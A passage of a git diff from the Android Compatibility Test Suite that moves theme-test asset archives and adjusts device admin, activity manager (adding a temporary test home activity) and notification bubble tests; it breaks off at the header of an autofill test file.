rename from hostsidetests/theme/assets/S/360dpi.zip
rename to hostsidetests/theme/assets/31/S/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/400dpi.zip b/hostsidetests/theme/assets/31/S/400dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/400dpi.zip
rename to hostsidetests/theme/assets/31/S/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/420dpi.zip b/hostsidetests/theme/assets/31/S/420dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/420dpi.zip
rename to hostsidetests/theme/assets/31/S/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/440dpi.zip b/hostsidetests/theme/assets/31/S/440dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/440dpi.zip
rename to hostsidetests/theme/assets/31/S/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/560dpi.zip b/hostsidetests/theme/assets/31/S/560dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/560dpi.zip
rename to hostsidetests/theme/assets/31/S/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/hdpi.zip b/hostsidetests/theme/assets/31/S/hdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/hdpi.zip
rename to hostsidetests/theme/assets/31/S/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/ldpi.zip b/hostsidetests/theme/assets/31/S/ldpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/ldpi.zip
rename to hostsidetests/theme/assets/31/S/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/mdpi.zip b/hostsidetests/theme/assets/31/S/mdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/mdpi.zip
rename to hostsidetests/theme/assets/31/S/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/tvdpi.zip b/hostsidetests/theme/assets/31/S/tvdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/tvdpi.zip
rename to hostsidetests/theme/assets/31/S/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xhdpi.zip b/hostsidetests/theme/assets/31/S/xhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/xhdpi.zip
rename to hostsidetests/theme/assets/31/S/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxhdpi.zip b/hostsidetests/theme/assets/31/S/xxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/xxhdpi.zip
rename to hostsidetests/theme/assets/31/S/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxxhdpi.zip b/hostsidetests/theme/assets/31/S/xxxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/xxxhdpi.zip
rename to hostsidetests/theme/assets/31/S/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/140dpi.zip b/hostsidetests/theme/assets/32/140dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/140dpi.zip
copy to hostsidetests/theme/assets/32/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/180dpi.zip b/hostsidetests/theme/assets/32/180dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/180dpi.zip
copy to hostsidetests/theme/assets/32/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/200dpi.zip b/hostsidetests/theme/assets/32/200dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/200dpi.zip
copy to hostsidetests/theme/assets/32/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/220dpi.zip b/hostsidetests/theme/assets/32/220dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/220dpi.zip
copy to hostsidetests/theme/assets/32/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/260dpi.zip b/hostsidetests/theme/assets/32/260dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/260dpi.zip
copy to hostsidetests/theme/assets/32/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/280dpi.zip b/hostsidetests/theme/assets/32/280dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/280dpi.zip
copy to hostsidetests/theme/assets/32/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/300dpi.zip b/hostsidetests/theme/assets/32/300dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/300dpi.zip
copy to hostsidetests/theme/assets/32/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/340dpi.zip b/hostsidetests/theme/assets/32/340dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/340dpi.zip
copy to hostsidetests/theme/assets/32/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/360dpi.zip b/hostsidetests/theme/assets/32/360dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/360dpi.zip
copy to hostsidetests/theme/assets/32/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/400dpi.zip b/hostsidetests/theme/assets/32/400dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/400dpi.zip
copy to hostsidetests/theme/assets/32/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/420dpi.zip b/hostsidetests/theme/assets/32/420dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/420dpi.zip
copy to hostsidetests/theme/assets/32/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/440dpi.zip b/hostsidetests/theme/assets/32/440dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/440dpi.zip
copy to hostsidetests/theme/assets/32/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/560dpi.zip b/hostsidetests/theme/assets/32/560dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/560dpi.zip
copy to hostsidetests/theme/assets/32/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/hdpi.zip b/hostsidetests/theme/assets/32/hdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/hdpi.zip
copy to hostsidetests/theme/assets/32/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/ldpi.zip b/hostsidetests/theme/assets/32/ldpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/ldpi.zip
copy to hostsidetests/theme/assets/32/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/mdpi.zip b/hostsidetests/theme/assets/32/mdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/mdpi.zip
copy to hostsidetests/theme/assets/32/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/tvdpi.zip b/hostsidetests/theme/assets/32/tvdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/tvdpi.zip
copy to hostsidetests/theme/assets/32/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xhdpi.zip b/hostsidetests/theme/assets/32/xhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/xhdpi.zip
copy to hostsidetests/theme/assets/32/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxhdpi.zip b/hostsidetests/theme/assets/32/xxhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/xxhdpi.zip
copy to hostsidetests/theme/assets/32/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/xxxhdpi.zip b/hostsidetests/theme/assets/32/xxxhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/S/xxxhdpi.zip
copy to hostsidetests/theme/assets/32/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/140dpi.zip b/hostsidetests/theme/assets/Sv2/140dpi.zip
deleted file mode 100644
index 48de32b..0000000
--- a/hostsidetests/theme/assets/Sv2/140dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/180dpi.zip b/hostsidetests/theme/assets/Sv2/180dpi.zip
deleted file mode 100644
index 4def986..0000000
--- a/hostsidetests/theme/assets/Sv2/180dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/200dpi.zip b/hostsidetests/theme/assets/Sv2/200dpi.zip
deleted file mode 100644
index fe2495e..0000000
--- a/hostsidetests/theme/assets/Sv2/200dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/220dpi.zip b/hostsidetests/theme/assets/Sv2/220dpi.zip
deleted file mode 100644
index a2c2ea2..0000000
--- a/hostsidetests/theme/assets/Sv2/220dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/260dpi.zip b/hostsidetests/theme/assets/Sv2/260dpi.zip
deleted file mode 100644
index 74890a2..0000000
--- a/hostsidetests/theme/assets/Sv2/260dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/280dpi.zip b/hostsidetests/theme/assets/Sv2/280dpi.zip
deleted file mode 100644
index 83fd290..0000000
--- a/hostsidetests/theme/assets/Sv2/280dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/300dpi.zip b/hostsidetests/theme/assets/Sv2/300dpi.zip
deleted file mode 100644
index 25334d8..0000000
--- a/hostsidetests/theme/assets/Sv2/300dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/340dpi.zip b/hostsidetests/theme/assets/Sv2/340dpi.zip
deleted file mode 100644
index 2092326..0000000
--- a/hostsidetests/theme/assets/Sv2/340dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/360dpi.zip b/hostsidetests/theme/assets/Sv2/360dpi.zip
deleted file mode 100644
index c13ad5c..0000000
--- a/hostsidetests/theme/assets/Sv2/360dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/400dpi.zip b/hostsidetests/theme/assets/Sv2/400dpi.zip
deleted file mode 100644
index 1df1a95..0000000
--- a/hostsidetests/theme/assets/Sv2/400dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/420dpi.zip b/hostsidetests/theme/assets/Sv2/420dpi.zip
deleted file mode 100644
index d58d418..0000000
--- a/hostsidetests/theme/assets/Sv2/420dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/440dpi.zip b/hostsidetests/theme/assets/Sv2/440dpi.zip
deleted file mode 100644
index 535102f..0000000
--- a/hostsidetests/theme/assets/Sv2/440dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/560dpi.zip b/hostsidetests/theme/assets/Sv2/560dpi.zip
deleted file mode 100644
index 20f1c7b..0000000
--- a/hostsidetests/theme/assets/Sv2/560dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/hdpi.zip b/hostsidetests/theme/assets/Sv2/hdpi.zip
deleted file mode 100644
index 582989d..0000000
--- a/hostsidetests/theme/assets/Sv2/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/ldpi.zip b/hostsidetests/theme/assets/Sv2/ldpi.zip
deleted file mode 100644
index 3035146..0000000
--- a/hostsidetests/theme/assets/Sv2/ldpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/mdpi.zip b/hostsidetests/theme/assets/Sv2/mdpi.zip
deleted file mode 100644
index a831e7b..0000000
--- a/hostsidetests/theme/assets/Sv2/mdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/tvdpi.zip b/hostsidetests/theme/assets/Sv2/tvdpi.zip
deleted file mode 100644
index bd4bf75..0000000
--- a/hostsidetests/theme/assets/Sv2/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/xhdpi.zip b/hostsidetests/theme/assets/Sv2/xhdpi.zip
deleted file mode 100644
index 0dd72e2..0000000
--- a/hostsidetests/theme/assets/Sv2/xhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/xxhdpi.zip b/hostsidetests/theme/assets/Sv2/xxhdpi.zip
deleted file mode 100644
index 64fc846..0000000
--- a/hostsidetests/theme/assets/Sv2/xxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/xxxhdpi.zip b/hostsidetests/theme/assets/Sv2/xxxhdpi.zip
deleted file mode 100644
index 87beb9a..0000000
--- a/hostsidetests/theme/assets/Sv2/xxxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index d77b46d..e55fa89 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -42,6 +42,13 @@
<option name="teardown-command" value="dpm remove-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver3" />
</target_preparer>
+ <!-- TODO(b/205178429): Must set otherwise it would fail on headless system user as it tests
+ some APIs that can only be called by system user -->
+ <!-- -->
+ <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+ <option name="user-type" value="system" />
+ </target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.admin.cts" />
<option name="runtime-hint" value="17m" />
diff --git a/tests/admin/OWNERS b/tests/admin/OWNERS
index 58d02a3..dfbd645 100644
--- a/tests/admin/OWNERS
+++ b/tests/admin/OWNERS
@@ -1,9 +1,2 @@
# Bug component: 100560
-sandness@google.com
-rubinxu@google.com
-eranm@google.com
-kholoudm@google.com
-pgrafov@google.com
-alexkershaw@google.com
-arangelov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index efaa752..236523c 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -44,7 +44,6 @@
import com.android.bedstead.nene.exceptions.AdbException;
import com.android.bedstead.nene.utils.ShellCommand;
import com.android.bedstead.nene.utils.ShellCommandUtils;
-import com.android.compatibility.common.util.SystemUtil;
import java.io.ByteArrayInputStream;
import java.security.cert.Certificate;
@@ -90,8 +89,6 @@
"VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n" +
"-----END CERTIFICATE-----";
- private static final String MANAGED_PROVISIONING_PKG = "com.android.managedprovisioning";
-
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -799,16 +796,6 @@
fail("No system launcher with version L+ present present on device.");
}
- /**
- * Test that managed provisioning is pre-installed if the device declares the device admin
- * feature.
- */
- public void testManagedProvisioningPreInstalled() throws Exception {
- if (mDeviceAdmin) {
- assertTrue(isPackageInstalledOnSystemImage(MANAGED_PROVISIONING_PKG));
- }
- }
-
private void assertDeviceOwnerMessage(String message) {
assertTrue("message is: "+ message, message.contains("does not own the device")
|| message.contains("can only be called by the device owner")
@@ -874,16 +861,6 @@
}
}
- private boolean isPackageInstalledOnSystemImage(String packagename) {
- try {
- ApplicationInfo info = mPackageManager.getApplicationInfo(packagename,
- 0 /* default flags */);
- return (info.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
- } catch (NameNotFoundException e) {
- return false;
- }
- }
-
public void testReboot_failIfNotDeviceOwner() {
if (!mDeviceAdmin) {
Log.w(TAG, "Skipping testReboot_failIfNotDeviceOwner");
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 1adf9b4..737dfaa 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -536,7 +536,22 @@
android:resource="@xml/shortcuts"/>
</activity>
- <service android:name="android.app.stubs.TrimMemService"
+ <!-- Disable home activities by default or it may disturb other tests by
+ showing ResolverActivity when start home activity.
+ Set the task affinity to empty not to group with the other Activities in this app. -->
+ <activity
+ android:name="android.app.stubs.TestHomeActivity"
+ android:enabled="false"
+ android:taskAffinity=""
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.HOME" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
+ <service android:name="android.app.stubs.TrimMemService"
android:exported="true"
android:isolatedProcess="true">
</service>
diff --git a/tests/app/app/src/android/app/stubs/TestHomeActivity.java b/tests/app/app/src/android/app/stubs/TestHomeActivity.java
new file mode 100644
index 0000000..340494a
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/TestHomeActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class TestHomeActivity extends Activity {
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 54eae98..770d305 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -21,6 +21,13 @@
import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_LOW;
import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_MODERATE;
import static android.content.ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN;
+import static android.content.Intent.ACTION_MAIN;
+import static android.content.Intent.CATEGORY_HOME;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
import static org.junit.Assert.assertArrayEquals;
@@ -36,6 +43,7 @@
import android.app.Instrumentation.ActivityMonitor;
import android.app.Instrumentation.ActivityResult;
import android.app.PendingIntent;
+import android.app.TaskInfo;
import android.app.cts.android.app.cts.tools.WatchUidRunner;
import android.app.stubs.ActivityManagerRecentOneActivity;
import android.app.stubs.ActivityManagerRecentTwoActivity;
@@ -44,8 +52,10 @@
import android.app.stubs.MockApplicationActivity;
import android.app.stubs.MockService;
import android.app.stubs.ScreenOnActivity;
+import android.app.stubs.TestHomeActivity;
import android.app.stubs.TrimMemService;
import android.content.BroadcastReceiver;
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -53,6 +63,7 @@
import android.content.pm.ApplicationInfo;
import android.content.pm.ConfigurationInfo;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.content.res.Resources;
import android.os.Binder;
import android.os.Bundle;
@@ -143,6 +154,7 @@
private List<Activity> mStartedActivityList;
private int mErrorProcessID;
private Instrumentation mInstrumentation;
+ private HomeActivitySession mTestHomeSession;
@Override
protected void setUp() throws Exception {
@@ -160,6 +172,9 @@
@Override
protected void tearDown() throws Exception {
super.tearDown();
+ if (mTestHomeSession != null) {
+ mTestHomeSession.close();
+ }
if (mIntent != null) {
mInstrumentation.getContext().stopService(mIntent);
}
@@ -196,19 +211,10 @@
* than the index of recent1_activity
*/
recentTaskList = mActivityManager.getRecentTasks(maxNum, flags);
- int indexRecentOne = -1;
- int indexRecentTwo = -1;
- int i = 0;
- for (RecentTaskInfo rti : recentTaskList) {
- if (rti.baseIntent.getComponent().getClassName().equals(
- ActivityManagerRecentOneActivity.class.getName())) {
- indexRecentOne = i;
- } else if (rti.baseIntent.getComponent().getClassName().equals(
- ActivityManagerRecentTwoActivity.class.getName())) {
- indexRecentTwo = i;
- }
- i++;
- }
+ int indexRecentOne = getTaskInfoIndex(recentTaskList,
+ ActivityManagerRecentOneActivity.class);
+ int indexRecentTwo = getTaskInfoIndex(recentTaskList,
+ ActivityManagerRecentTwoActivity.class);
assertTrue(indexRecentOne != -1 && indexRecentTwo != -1);
assertTrue(indexRecentTwo < indexRecentOne);
@@ -306,6 +312,18 @@
mStartedActivityList.add(monitor.waitForActivity());
}
+ private <T extends TaskInfo, S extends Activity> int getTaskInfoIndex(List<T> taskList,
+ Class<S> activityClass) {
+ int i = 0;
+ for (TaskInfo ti : taskList) {
+ if (ti.baseActivity.getClassName().equals(activityClass.getName())) {
+ return i;
+ }
+ i++;
+ }
+ return -1;
+ }
+
public void testGetRunningTasks() {
// Test illegal parameter
List<RunningTaskInfo> runningTaskList;
@@ -321,30 +339,36 @@
// start recent1_activity.
startSubActivity(ActivityManagerRecentOneActivity.class);
- // start recent2_activity
+
+ runningTaskList = mActivityManager.getRunningTasks(20);
+
+ // assert only recent1_activity exists and is visible.
+ int indexRecentOne = getTaskInfoIndex(runningTaskList,
+ ActivityManagerRecentOneActivity.class);
+ int indexRecentTwo = getTaskInfoIndex(runningTaskList,
+ ActivityManagerRecentTwoActivity.class);
+ assertTrue(indexRecentOne != -1 && indexRecentTwo == -1);
+ assertTrue(runningTaskList.get(indexRecentOne).isVisible());
+
+ // start recent2_activity.
startSubActivity(ActivityManagerRecentTwoActivity.class);
/*
* assert both recent1_activity and recent2_activity exist in the
* running tasks list. Moreover,the index of the recent2_activity is
- * smaller than the index of recent1_activity
+ * smaller than the index of recent1_activity.
*/
runningTaskList = mActivityManager.getRunningTasks(20);
- int indexRecentOne = -1;
- int indexRecentTwo = -1;
- int i = 0;
- for (RunningTaskInfo rti : runningTaskList) {
- if (rti.baseActivity.getClassName().equals(
- ActivityManagerRecentOneActivity.class.getName())) {
- indexRecentOne = i;
- } else if (rti.baseActivity.getClassName().equals(
- ActivityManagerRecentTwoActivity.class.getName())) {
- indexRecentTwo = i;
- }
- i++;
- }
+ indexRecentOne = getTaskInfoIndex(runningTaskList,
+ ActivityManagerRecentOneActivity.class);
+ indexRecentTwo = getTaskInfoIndex(runningTaskList,
+ ActivityManagerRecentTwoActivity.class);
assertTrue(indexRecentOne != -1 && indexRecentTwo != -1);
assertTrue(indexRecentTwo < indexRecentOne);
+
+ // assert only recent2_activity is visible.
+ assertFalse(runningTaskList.get(indexRecentOne).isVisible());
+ assertTrue(runningTaskList.get(indexRecentTwo).isVisible());
}
public void testGetRunningServices() throws Exception {
@@ -583,6 +607,7 @@
* Verify that the TimeTrackingAPI works properly when starting and ending an activity.
*/
public void testTimeTrackingAPI_SimpleStartExit() throws Exception {
+ createManagedHomeActivitySession();
launchHome();
// Prepare to start an activity from another APK.
Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -669,6 +694,7 @@
* Verify that the TimeTrackingAPI works properly when switching away from the monitored task.
*/
public void testTimeTrackingAPI_SwitchAwayTriggers() throws Exception {
+ createManagedHomeActivitySession();
launchHome();
// Prepare to start an activity from another APK.
@@ -717,6 +743,7 @@
* and ended.
*/
public void testTimeTrackingAPI_ChainedActivityExit() throws Exception {
+ createManagedHomeActivitySession();
launchHome();
// Prepare to start an activity from another APK.
Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -1756,4 +1783,63 @@
} while (!(result = supplier.get()) && SystemClock.uptimeMillis() < deadLine);
return result;
}
+
+ private void createManagedHomeActivitySession()
+ throws Exception {
+ if (noHomeScreen()) return;
+ ComponentName homeActivity = new ComponentName(
+ STUB_PACKAGE_NAME, TestHomeActivity.class.getName());
+ mTestHomeSession = new HomeActivitySession(homeActivity);
+ }
+
+ /**
+ * HomeActivitySession is used to replace the default home component, so that you can use
+ * your preferred home for testing within the session. The original default home will be
+ * restored automatically afterward.
+ */
+ private class HomeActivitySession {
+ private PackageManager mPackageManager;
+ private ComponentName mOrigHome;
+ private ComponentName mSessionHome;
+
+ HomeActivitySession(ComponentName sessionHome) throws Exception {
+ mSessionHome = sessionHome;
+ mPackageManager = mInstrumentation.getContext().getPackageManager();
+ mOrigHome = getDefaultHomeComponent();
+
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
+ COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP));
+ setDefaultHome(mSessionHome);
+ }
+
+ public void close() throws Exception {
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
+ COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP));
+ if (mOrigHome != null) {
+ setDefaultHome(mOrigHome);
+ mOrigHome = null;
+ }
+ }
+
+ private void setDefaultHome(ComponentName componentName) throws Exception {
+ executeShellCommand("cmd package set-home-activity --user "
+ + android.os.Process.myUserHandle().getIdentifier() + " "
+ + componentName.flattenToString());
+ }
+
+ private ComponentName getDefaultHomeComponent() {
+ final Intent intent = new Intent(ACTION_MAIN);
+ intent.addCategory(CATEGORY_HOME);
+ intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+ final ResolveInfo resolveInfo = mInstrumentation.getContext()
+ .getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
+ if (resolveInfo == null) {
+ throw new AssertionError("Home activity not found");
+ }
+ return new ComponentName(resolveInfo.activityInfo.packageName,
+ resolveInfo.activityInfo.name);
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index d53a952..928be03 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -3843,6 +3843,7 @@
true /* suppressBubble */);
verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+ mListener.resetData();
// Prep to find bubbled activity
Class clazz = BubbledActivity.class;
@@ -3863,6 +3864,7 @@
// notif gets posted with update, so wait
verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+ mListener.resetData();
// Bubble should have suppressed flag
StatusBarNotification sbn = findPostedNotification(notifId, true);
@@ -3898,6 +3900,7 @@
false /* suppressBubble */);
verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+ mListener.resetData();
// Prep to find bubbled activity
Class clazz = BubbledActivity.class;
@@ -3916,8 +3919,12 @@
assertEquals(new LocusId(String.valueOf(BUBBLE_NOTIF_ID)),
activity.getLocusId());
- // notif gets posted with update, so wait
- verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+ // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException ex) {
+ }
+ assertTrue(mListener.mPosted.isEmpty());
// Bubble should not be suppressed
StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -3953,6 +3960,7 @@
true /* suppressBubble */);
verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+ mListener.resetData();
// Prep to find bubbled activity
Class clazz = BubbledActivity.class;
@@ -3970,8 +3978,12 @@
// It shouldn't have the locusId
assertNull(activity.getLocusId());
- // notif gets posted with update, so wait
- verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+ // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException ex) {
+ }
+ assertTrue(mListener.mPosted.isEmpty());
// Bubble should not be suppressed
StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -4009,6 +4021,7 @@
false /* setLocusId */);
verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+ mListener.resetData();
// Prep to find bubbled activity
Class clazz = BubbledActivity.class;
@@ -4026,8 +4039,12 @@
// Activity has the locus
assertNotNull(activity.getLocusId());
- // notif gets posted with update, so wait
- verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+ // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException ex) {
+ }
+ assertTrue(mListener.mPosted.isEmpty());
// Bubble should not be suppressed & not have a locusId
StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -4066,6 +4083,7 @@
true /* suppressBubble */);
verifyNotificationBubbleState(notifId, true);
+ mListener.resetData();
StatusBarNotification sbn = findPostedNotification(notifId, true);
assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
@@ -4090,6 +4108,7 @@
// notif gets posted with update, so wait
verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+ mListener.resetData();
// Bubble should have suppressed flag
sbn = findPostedNotification(notifId, true);
@@ -4100,6 +4119,7 @@
// notif gets posted with update, so wait
verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+ mListener.resetData();
sbn = findPostedNotification(notifId, true);
assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 4e3a7a5..f1e039d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
